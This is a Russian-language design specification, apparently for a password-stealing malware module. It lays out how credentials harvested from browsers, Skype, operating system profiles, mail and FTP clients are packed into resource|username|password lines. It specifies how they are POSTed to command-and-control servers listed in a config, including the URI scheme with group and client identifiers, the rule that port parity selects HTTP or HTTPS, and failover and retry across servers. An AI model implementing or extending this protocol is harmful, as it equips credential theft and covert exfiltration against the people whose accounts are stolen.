2 Данные на сервер отправляются через HTTP POST-запросы. Между сервером и клиентом может стоять сколько угодно reverse-proxy, load-balancer и DNAT. Таким образом, нет никакого способа узнать ip-адрес клиента. 2.1 Каждый запрос содержит в URI три компонента разделённых символом "/" - тег группы, id клиента . Каждый POST имеет URI следующего формата: ///81/ , где group-tag - тег группы, clientid - id клиента, 81 - код, обозначающий тип данных. 2.1.1 Тег группы - это произвольная строка состоящая из символов (a-z) и цифр (0-9). Параметр не чувствителен к регистру. Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentGroup) 2.1.2 Id клиента - это строка. Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentID 2.2 Каждый ответ сервера может быть со следующими HTTP-кодами: 200 и 403. Ответ 200 всегда имеет тело с содержание "/1/" (content-type: text/plain), а ответ 403 используется если прислан не POST-запрос, тело POST имеет неизвестный формат или поля, URI неизвестного формата, или clientid неправильного формата. 3 POST-запрос имеет тело в формате multipart/form-data. И имеет следущие поля: source - описание источника данных. К примеру, если это даннные из Skype, должно быть что-то вроде "skype passwords", от ОС - "OS passwords". И т.д и т.п. data - длинный текст в кодировке UTF8. Каждая строка предназначена для отдельного пароля, и состоит из трех полей, разделенных вертикальной чертой и завершающихся символом конца строки \n: resource|username|password\n Если собираются пароли с броузеров, то resource - это url. К примеру, для броузера посылка может быть наподобие http://gmx.com|jack|secretpassword\n http://yahoo.com|jack1|secretpassword1\n http://somesite.com|jack2|secretpassword2\n Т.к. пароли могут собираться из разных источников, то в поле area должен быть идентификатор защищаемого паролем ресурса. Для скайпа это будет skype|jack|jackass\n Для ОС - для профиля каждого пользователя отдельная строка os|jack|hijack\n os|john|hijohn\n для почты будет имя pop3/imap сервера - если уместно и его можно сграбить; если нельзя - просто дублируется почтовый адрес для ftp это будет url, типа ftp://ftp.com итд 3. Конфиг со списком адресов для отправки данных выдается модулю вызовом Control() с аргументами: Ctl = "dpost" CtlArg = "содержимое конфига" 3.1. Конфиг представляет из себя простой xml в следующем формате: http://11.22.33.44:8082 127.0.0.1:8083 Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу. Если он не указан: - если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS). 3.2. Отправка данных организуется следующим образом: - выбирается первый из списка url - к нему клеится uri запроса. Итоговый url будет (для заданного в примере конфига), например такой http://11.22.33.44:8082/group_id/client_id/81 - выполняется http-запрос, получается ответ сервера - если при выполнении запроса была ошибка (нет ответа сервера, или код ответа не 200), выбирается следующий url из конфига - при успешной отправке, происходит выход из цикла отправки и завершение процедуры - при неуспешной отправке по всем приведенным в конфиге адресам, есть 2 варианта: - пауза на минуту, далее повтор попыток - завершение цикла и выход из процедуры Это решение остается на усмотрение разработчика.